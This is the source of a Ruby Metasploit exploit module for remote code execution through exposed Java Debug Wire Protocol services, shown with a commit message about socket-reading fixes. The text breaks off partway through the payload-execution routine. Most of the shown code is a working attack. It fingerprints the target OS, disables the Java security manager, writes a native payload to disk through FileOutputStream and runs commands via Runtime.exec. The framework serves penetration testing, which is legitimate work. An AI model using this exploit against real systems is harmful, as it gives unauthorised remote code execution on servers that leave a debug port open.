HD Moore
6e80481384
Many of these modules uses sock.get() when they meant get_once() and their HTTP-based checks were broken in some form. The response to the sock.get() was not being checked against nil, which would lead to stack traces when the service did not reply (a likely case given how malformed the HTTP requests were).
961 lines
30 KiB
Ruby
961 lines
30 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
HANDSHAKE = "JDWP-Handshake"
|
|
|
|
REQUEST_PACKET_TYPE = 0x00
|
|
REPLY_PACKET_TYPE = 0x80
|
|
|
|
# Command signatures
|
|
VERSION_SIG = [1, 1]
|
|
CLASSESBYSIGNATURE_SIG = [1, 2]
|
|
ALLCLASSES_SIG = [1, 3]
|
|
ALLTHREADS_SIG = [1, 4]
|
|
IDSIZES_SIG = [1, 7]
|
|
CREATESTRING_SIG = [1, 11]
|
|
SUSPENDVM_SIG = [1, 8]
|
|
RESUMEVM_SIG = [1, 9]
|
|
SIGNATURE_SIG = [2, 1]
|
|
FIELDS_SIG = [2, 4]
|
|
METHODS_SIG = [2, 5]
|
|
GETVALUES_SIG = [2, 6]
|
|
CLASSOBJECT_SIG = [2, 11]
|
|
SETSTATICVALUES_SIG = [3, 2]
|
|
INVOKESTATICMETHOD_SIG = [3, 3]
|
|
CREATENEWINSTANCE_SIG = [3, 4]
|
|
REFERENCETYPE_SIG = [9, 1]
|
|
INVOKEMETHOD_SIG = [9, 6]
|
|
STRINGVALUE_SIG = [10, 1]
|
|
THREADNAME_SIG = [11, 1]
|
|
THREADSUSPEND_SIG = [11, 2]
|
|
THREADRESUME_SIG = [11, 3]
|
|
THREADSTATUS_SIG = [11, 4]
|
|
EVENTSET_SIG = [15, 1]
|
|
EVENTCLEAR_SIG = [15, 2]
|
|
EVENTCLEARALL_SIG = [15, 3]
|
|
|
|
# Other codes
|
|
MODKIND_COUNT = 1
|
|
MODKIND_THREADONLY = 2
|
|
MODKIND_CLASSMATCH = 5
|
|
MODKIND_LOCATIONONLY = 7
|
|
MODKIND_STEP = 10
|
|
EVENT_BREAKPOINT = 2
|
|
EVENT_STEP = 1
|
|
SUSPEND_EVENTTHREAD = 1
|
|
SUSPEND_ALL = 2
|
|
NOT_IMPLEMENTED = 99
|
|
VM_DEAD = 112
|
|
INVOKE_SINGLE_THREADED = 2
|
|
TAG_OBJECT = 76
|
|
TAG_STRING = 115
|
|
TYPE_CLASS = 1
|
|
TAG_ARRAY = 91
|
|
TAG_VOID = 86
|
|
TAG_THREAD = 116
|
|
STEP_INTO = 0
|
|
STEP_MIN = 0
|
|
THREAD_SLEEPING_STATUS = 2
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses exposed Java Debug Wire Protocol services in order
|
|
to execute arbitrary Java code remotely. It just abuses the protocol
|
|
features, since no authentication is required if the service is enabled.
|
|
},
|
|
'Author' => [
|
|
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
|
|
'Christophe Alladoum', # JDWP Analysis and Exploit
|
|
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '96066'],
|
|
['EDB', '27179'],
|
|
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
|
|
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
|
|
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
|
|
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
|
|
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
|
|
],
|
|
'Platform' => %w{ linux win },
|
|
'Arch' => ARCH_X86,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'BadChars' => '',
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => 'Mar 12 2010'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
|
|
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
res = handshake
|
|
disconnect
|
|
|
|
if res.nil?
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res == HANDSHAKE
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def peer
|
|
"#{rhost}:#{rport}"
|
|
end
|
|
|
|
def default_timeout
|
|
datastore['RESPONSE_TIMEOUT']
|
|
end
|
|
|
|
# Establishes handshake with the server
|
|
def handshake
|
|
sock.put(HANDSHAKE)
|
|
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
|
|
end
|
|
|
|
# Forges packet for JDWP protocol
|
|
def create_packet(cmdsig, data="")
|
|
flags = 0x00
|
|
cmdset, cmd = cmdsig
|
|
pktlen = data.length + 11
|
|
buf = [pktlen, @my_id, flags, cmdset, cmd]
|
|
pkt = buf.pack("NNCCC")
|
|
pkt << data
|
|
@my_id += 2
|
|
pkt
|
|
end
|
|
|
|
# Reads packet response for JDWP protocol
|
|
def read_reply(timeout = default_timeout)
|
|
response = sock.get_once(-1, timeout)
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
|
pktlen, id, flags, errcode = response.unpack('NNCn')
|
|
response.slice!(0..10)
|
|
if errcode != 0 && flags == REPLY_PACKET_TYPE
|
|
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
|
|
end
|
|
response
|
|
end
|
|
|
|
# Returns the characters contained in the string defined in target VM
|
|
def solve_string(data)
|
|
sock.put(create_packet(STRINGVALUE_SIG, data))
|
|
response = read_reply
|
|
return "" unless response
|
|
return read_string(response)
|
|
end
|
|
|
|
# Unpacks received string structure from the server response into a normal string
|
|
def read_string(data)
|
|
data_len = data.unpack('N')[0]
|
|
data.slice!(0..3)
|
|
return data.slice!(0,data_len)
|
|
end
|
|
|
|
# Creates a new string object in the target VM and returns its id
|
|
def create_string(data)
|
|
buf = build_string(data)
|
|
sock.put(create_packet(CREATESTRING_SIG, buf))
|
|
buf = read_reply
|
|
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
|
|
end
|
|
|
|
# Packs normal string into string structure for target VM
|
|
def build_string(data)
|
|
ret = [data.length].pack('N')
|
|
ret << data
|
|
|
|
ret
|
|
end
|
|
|
|
# Pack Fixnum for JDWP protocol
|
|
def format(fmt, value)
|
|
if fmt == "L" || fmt == 8
|
|
return [value].pack('Q>')
|
|
elsif fmt == "I" || fmt == 4
|
|
return [value].pack('N')
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "Unknown format")
|
|
end
|
|
|
|
# Unpack Fixnum from JDWP protocol
|
|
def unformat(fmt, value)
|
|
if fmt == "L" || fmt == 8
|
|
return value[0..7].unpack('Q>')[0]
|
|
elsif fmt == "I" || fmt == 4
|
|
return value[0..3].unpack('N')[0]
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "Unknown format")
|
|
end
|
|
|
|
# Parses given data according to a set of formats
|
|
def parse_entries(buf, formats, explicit=true)
|
|
entries = []
|
|
|
|
if explicit
|
|
nb_entries = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
else
|
|
nb_entries = 1
|
|
end
|
|
|
|
nb_entries.times do |var|
|
|
|
|
if var != 0 && var % 1000 == 0
|
|
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
|
|
end
|
|
|
|
data = {}
|
|
|
|
formats.each do |fmt,name|
|
|
if fmt == "L" || fmt == 8
|
|
data[name] = buf.unpack('Q>')[0]
|
|
buf.slice!(0..7)
|
|
elsif fmt == "I" || fmt == 4
|
|
data[name] = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
elsif fmt == "S"
|
|
data_len = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
data[name] = buf.slice!(0,data_len)
|
|
elsif fmt == "C"
|
|
data[name] = buf.unpack('C')[0]
|
|
buf.slice!(0)
|
|
elsif fmt == "Z"
|
|
t = buf.unpack('C')[0]
|
|
buf.slice!(0)
|
|
if t == 115
|
|
data[name] = solve_string(buf.slice!(0..7))
|
|
elsif t == 73
|
|
data[name], buf = buf.unpack('NN')
|
|
end
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
|
|
end
|
|
|
|
end
|
|
entries.append(data)
|
|
end
|
|
|
|
entries
|
|
end
|
|
|
|
# Gets the sizes of variably-sized data types in the target VM
|
|
def get_sizes
|
|
formats = [
|
|
["I", "fieldid_size"],
|
|
["I", "methodid_size"],
|
|
["I", "objectid_size"],
|
|
["I", "referencetypeid_size"],
|
|
["I", "frameid_size"]
|
|
]
|
|
sock.put(create_packet(IDSIZES_SIG))
|
|
response = read_reply
|
|
entries = parse_entries(response, formats, false)
|
|
entries.each { |e| @vars.merge!(e) }
|
|
end
|
|
|
|
# Gets the JDWP version implemented by the target VM
|
|
def get_version
|
|
formats = [
|
|
["S", "descr"],
|
|
["I", "jdwp_major"],
|
|
["I", "jdwp_minor"],
|
|
["S", "vm_version"],
|
|
["S", "vm_name"]
|
|
]
|
|
sock.put(create_packet(VERSION_SIG))
|
|
response = read_reply
|
|
entries = parse_entries(response, formats, false)
|
|
entries.each { |e| @vars.merge!(e) }
|
|
end
|
|
|
|
def version
|
|
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
|
end
|
|
|
|
def is_java_eight
|
|
version.downcase =~ /1[.]8[.]/
|
|
end
|
|
|
|
# Returns reference for all threads currently running on target VM
|
|
def get_all_threads
|
|
sock.put(create_packet(ALLTHREADS_SIG))
|
|
response = read_reply
|
|
num_threads = response.unpack('N').first
|
|
response.slice!(0..3)
|
|
|
|
size = @vars["objectid_size"]
|
|
num_threads.times do
|
|
t_id = unformat(size, response[0..size-1])
|
|
@threads[t_id] = nil
|
|
response.slice!(0..size-1)
|
|
end
|
|
end
|
|
|
|
# Returns reference types for all classes currently loaded by the target VM
|
|
def get_all_classes
|
|
return unless @classes.empty?
|
|
|
|
formats = [
|
|
["C", "reftype_tag"],
|
|
[@vars["referencetypeid_size"], "reftype_id"],
|
|
["S", "signature"],
|
|
["I", "status"]
|
|
]
|
|
sock.put(create_packet(ALLCLASSES_SIG))
|
|
response = read_reply
|
|
@classes.append(parse_entries(response, formats))
|
|
end
|
|
|
|
# Checks if specified class is currently loaded by the target VM and returns it
|
|
def get_class_by_name(name)
|
|
@classes.each do |entry_array|
|
|
entry_array.each do |entry|
|
|
if entry["signature"].downcase == name.downcase
|
|
return entry
|
|
end
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
|
|
# The list of methods will include constructors (identified with the name "<init>")
|
|
def get_methods(reftype_id)
|
|
if @methods.has_key?(reftype_id)
|
|
return @methods[reftype_id]
|
|
end
|
|
|
|
formats = [
|
|
[@vars["methodid_size"], "method_id"],
|
|
["S", "name"],
|
|
["S", "signature"],
|
|
["I", "mod_bits"]
|
|
]
|
|
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
|
sock.put(create_packet(METHODS_SIG, ref_id))
|
|
response = read_reply
|
|
@methods[reftype_id] = parse_entries(response, formats)
|
|
end
|
|
|
|
# Returns information for each field in a reference type (ie. object)
|
|
def get_fields(reftype_id)
|
|
formats = [
|
|
[@vars["fieldid_size"], "field_id"],
|
|
["S", "name"],
|
|
["S", "signature"],
|
|
["I", "mod_bits"]
|
|
]
|
|
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
|
sock.put(create_packet(FIELDS_SIG, ref_id))
|
|
response = read_reply
|
|
fields = parse_entries(response, formats)
|
|
|
|
fields
|
|
end
|
|
|
|
# Returns the value of one static field of the reference type. The field must be member of the reference type
|
|
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
|
|
# for example, the values of private fields can be obtained.
|
|
def get_value(reftype_id, field_id)
|
|
data = format(@vars["referencetypeid_size"],reftype_id)
|
|
data << [1].pack('N')
|
|
data << format(@vars["fieldid_size"],field_id)
|
|
|
|
sock.put(create_packet(GETVALUES_SIG, data))
|
|
response = read_reply
|
|
num_values = response.unpack('N')[0]
|
|
|
|
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
|
|
fail_with(Failure::Unknown, "Bad response when getting value for field")
|
|
end
|
|
|
|
response.slice!(0..4)
|
|
|
|
len = @vars["objectid_size"]
|
|
value = unformat(len, response)
|
|
|
|
value
|
|
end
|
|
|
|
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
|
|
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
|
|
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
|
|
# the field's type exactly. For object values, there must exist a widening reference conversion from the
|
|
# value's type to the field's type and the field's type must be loaded.
|
|
def set_value(reftype_id, field_id, value)
|
|
data = format(@vars["referencetypeid_size"],reftype_id)
|
|
data << [1].pack('N')
|
|
data << format(@vars["fieldid_size"],field_id)
|
|
data << format(@vars["objectid_size"],value)
|
|
|
|
sock.put(create_packet(SETSTATICVALUES_SIG, data))
|
|
read_reply
|
|
end
|
|
|
|
|
|
# Checks if specified method is currently loaded by the target VM and returns it
|
|
def get_method_by_name(classname, name, signature = nil)
|
|
@methods[classname].each do |entry|
|
|
if signature.nil?
|
|
return entry if entry["name"].downcase == name.downcase
|
|
else
|
|
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
|
|
return entry
|
|
end
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Checks if specified class and method are currently loaded by the target VM and returns them
|
|
def get_class_and_method(looked_class, looked_method, signature = nil)
|
|
target_class = get_class_by_name(looked_class)
|
|
unless target_class
|
|
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
|
|
end
|
|
|
|
get_methods(target_class["reftype_id"])
|
|
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
|
|
unless target_method
|
|
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
|
|
end
|
|
|
|
return target_class, target_method
|
|
end
|
|
|
|
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
|
|
def str_to_fq_class(s)
|
|
i = s.rindex(".")
|
|
unless i
|
|
fail_with(Failure::BadConfig, 'Bad defined break class')
|
|
end
|
|
|
|
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
|
|
|
|
classname = 'L'
|
|
classname << s[0..i-1].gsub(/[.]/, '/')
|
|
classname << ';'
|
|
|
|
return classname, method
|
|
end
|
|
|
|
# Gets the status of a given thread
|
|
def thread_status(thread_id)
|
|
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
|
|
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
|
unless buf
|
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
|
end
|
|
status, suspend_status = buf.unpack('NN')
|
|
|
|
status
|
|
end
|
|
|
|
# Resumes execution of the application or thread after the suspend command or an event has stopped it
|
|
def resume_vm(thread_id = nil)
|
|
if thread_id.nil?
|
|
sock.put(create_packet(RESUMEVM_SIG))
|
|
else
|
|
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
|
|
end
|
|
|
|
response = read_reply(datastore['BREAK_TIMEOUT'])
|
|
unless response
|
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
|
end
|
|
|
|
response
|
|
end
|
|
|
|
# Suspend execution of the application or thread
|
|
def suspend_vm(thread_id = nil)
|
|
if thread_id.nil?
|
|
sock.put(create_packet(SUSPENDVM_SIG))
|
|
else
|
|
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
|
|
end
|
|
|
|
response = read_reply
|
|
unless response
|
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
|
end
|
|
|
|
response
|
|
end
|
|
|
|
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
|
def send_event(event_code, args)
|
|
data = [event_code].pack('C')
|
|
data << [SUSPEND_ALL].pack('C')
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |kind,option|
|
|
data << [kind].pack('C')
|
|
data << option
|
|
end
|
|
|
|
sock.put(create_packet(EVENTSET_SIG, data))
|
|
response = read_reply
|
|
unless response
|
|
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
|
|
end
|
|
return response.unpack('N')[0]
|
|
end
|
|
|
|
# Parses a received event and compares it with the expected
|
|
def parse_event(buf, event_id, thread_id)
|
|
len = @vars["objectid_size"]
|
|
return false if buf.length < 10 + len - 1
|
|
|
|
r_id = buf[6..9].unpack('N')[0]
|
|
t_id = unformat(len,buf[10..10+len-1])
|
|
|
|
return (event_id == r_id) && (thread_id == t_id)
|
|
end
|
|
|
|
# Clear a defined event request
|
|
def clear_event(event_code, r_id)
|
|
data = [event_code].pack('C')
|
|
data << [r_id].pack('N')
|
|
sock.put(create_packet(EVENTCLEAR_SIG, data))
|
|
read_reply
|
|
end
|
|
|
|
# Invokes a static method. The method must be member of the class type or one of its superclasses,
|
|
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
|
|
# methods can be invoked.
|
|
def invoke_static(class_id, thread_id, meth_id, args = [])
|
|
data = format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
|
|
buf = read_reply
|
|
buf
|
|
end
|
|
|
|
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
|
|
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
|
|
# can be invoked.
|
|
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
|
|
data = format(@vars["objectid_size"], obj_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(INVOKEMETHOD_SIG, data))
|
|
buf = read_reply
|
|
buf
|
|
end
|
|
|
|
# Creates a new object of specified class, invoking the specified constructor. The constructor
|
|
# method ID must be a member of the class type.
|
|
def create_instance(class_id, thread_id, meth_id, args = [])
|
|
data = format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
|
|
buf = read_reply
|
|
buf
|
|
end
|
|
|
|
def temp_path
|
|
return nil unless datastore['TMP_PATH']
|
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
|
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
|
end
|
|
datastore['TMP_PATH']
|
|
end
|
|
|
|
# Configures payload according to targeted architecture
|
|
def setup_payload
|
|
# 1. Setting up generic values.
|
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
|
pl_exe = generate_payload_exe
|
|
|
|
# 2. Setting up arch specific...
|
|
case target['Platform']
|
|
when 'linux'
|
|
path = temp_path || '/tmp/'
|
|
payload_exe = "#{path}#{payload_exe}"
|
|
if @os.downcase =~ /win/
|
|
print_warning("#{peer} - #{@os} system detected but using Linux target...")
|
|
end
|
|
when 'win'
|
|
path = temp_path || './'
|
|
payload_exe = "#{path}#{payload_exe}.exe"
|
|
unless @os.downcase =~ /win/
|
|
print_warning("#{peer} - #{@os} system detected but using Windows target...")
|
|
end
|
|
end
|
|
|
|
return payload_exe, pl_exe
|
|
end
|
|
|
|
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
|
|
def fingerprint_os(thread_id)
|
|
size = @vars["objectid_size"]
|
|
|
|
# 1. Creates a string on target VM with the property to be getted
|
|
cmd_obj_ids = create_string("os.name")
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
|
|
# 2. Gets property
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
|
|
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
|
|
|
|
str = unformat(size, buf[1..1+size-1])
|
|
@os = solve_string(format(@vars["objectid_size"],str))
|
|
end
|
|
|
|
# Creates a file on the server given a execution thread
|
|
def create_file(thread_id, filename)
|
|
cmd_obj_ids = create_string(filename)
|
|
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
size = @vars["objectid_size"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
|
|
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
|
|
|
file = unformat(size, buf[1..1+size-1])
|
|
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
|
|
|
|
register_files_for_cleanup(filename)
|
|
|
|
file
|
|
end
|
|
|
|
# Stores the payload on a new string created in target VM
|
|
def upload_payload(thread_id, pl_exe)
|
|
size = @vars["objectid_size"]
|
|
if is_java_eight
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
|
|
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
else
|
|
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
|
|
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
end
|
|
unless buf[0] == [TAG_OBJECT].pack('C')
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
|
end
|
|
|
|
decoder = unformat(size, buf[1..1+size-1])
|
|
if decoder.nil? || decoder == 0
|
|
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
|
|
end
|
|
|
|
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
|
|
if cmd_obj_ids.length == 0
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
|
end
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
|
|
if is_java_eight
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
|
|
else
|
|
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
|
|
end
|
|
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
|
unless buf[0] == [TAG_ARRAY].pack('C')
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
|
|
end
|
|
|
|
pl = unformat(size, buf[1..1+size-1])
|
|
pl
|
|
end
|
|
|
|
# Dumps the payload on a opened server file given a execution thread
|
|
def dump_payload(thread_id, file, pl)
|
|
size = @vars["objectid_size"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, pl)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
|
|
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
|
unless buf[0] == [TAG_VOID].pack('C')
|
|
fail_with(Failure::Unknown, "Exception while writing to file")
|
|
end
|
|
end
|
|
|
|
# Closes a file on the server given a execution thread
|
|
def close_file(thread_id, file)
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
|
|
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
|
|
unless buf[0] == [TAG_VOID].pack('C')
|
|
fail_with(Failure::Unknown, "Exception while closing file")
|
|
end
|
|
end
|
|
|
|
# Executes a system command on target VM making use of java.lang.Runtime.exec()
|
|
def execute_command(thread_id, cmd)
|
|
size = @vars["objectid_size"]
|
|
|
|
# 1. Creates a string on target VM with the command to be executed
|
|
cmd_obj_ids = create_string(cmd)
|
|
if cmd_obj_ids.length == 0
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
|
end
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
|
|
# 2. Gets Runtime context
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
|
|
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
unless buf[0] == [TAG_OBJECT].pack('C')
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
|
end
|
|
|
|
rt = unformat(size, buf[1..1+size-1])
|
|
if rt.nil? || (rt == 0)
|
|
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
|
|
end
|
|
|
|
# 3. Finds and executes "exec" method supplying the string with the command
|
|
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
|
|
if exec_meth.nil?
|
|
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
|
|
end
|
|
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
|
|
unless buf[0] == [TAG_OBJECT].pack('C')
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
|
end
|
|
end
|
|
|
|
# Set event for stepping into a running thread
|
|
def set_step_event
|
|
# 1. Select a thread in sleeping status
|
|
t_id = nil
|
|
@threads.each_key do |thread|
|
|
if thread_status(thread) == THREAD_SLEEPING_STATUS
|
|
t_id = thread
|
|
break
|
|
end
|
|
end
|
|
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
|
|
|
|
# 2. Suspend the VM before setting the event
|
|
suspend_vm
|
|
|
|
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
|
|
step_info = format(@vars["objectid_size"], t_id)
|
|
step_info << [STEP_MIN].pack('N')
|
|
step_info << [STEP_INTO].pack('N')
|
|
data = [[MODKIND_STEP, step_info]]
|
|
|
|
r_id = send_event(EVENT_STEP, data)
|
|
unless r_id
|
|
fail_with(Failure::Unknown, "Could not set the event")
|
|
end
|
|
|
|
return r_id, t_id
|
|
end
|
|
|
|
# Disables security manager if it's set on target JVM
|
|
def disable_sec_manager
|
|
sys_class = get_class_by_name("Ljava/lang/System;")
|
|
|
|
fields = get_fields(sys_class["reftype_id"])
|
|
|
|
sec_field = nil
|
|
|
|
fields.each do |field|
|
|
sec_field = field["field_id"] if field["name"].downcase == "security"
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
|
|
|
|
value = get_value(sys_class["reftype_id"], sec_field)
|
|
|
|
if(value == 0)
|
|
print_good("#{peer} - Security manager was not set")
|
|
else
|
|
set_value(sys_class["reftype_id"], sec_field, 0)
|
|
if get_value(sys_class["reftype_id"], sec_field) == 0
|
|
print_good("#{peer} - Security manager has been disabled")
|
|
else
|
|
print_good("#{peer} - Security manager has not been disabled, trying anyway...")
|
|
end
|
|
end
|
|
end
|
|
|
|
# Uploads & executes the payload on the target VM
|
|
def exec_payload(thread_id)
|
|
# 0. Fingerprinting OS
|
|
fingerprint_os(thread_id)
|
|
|
|
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
|
|
|
|
# 1. Prepares the payload
|
|
payload_exe, pl_exe = setup_payload
|
|
|
|
# 2. Creates file on server for dumping payload
|
|
file = create_file(thread_id, payload_exe)
|
|
|
|
# 3. Uploads payload to the server
|
|
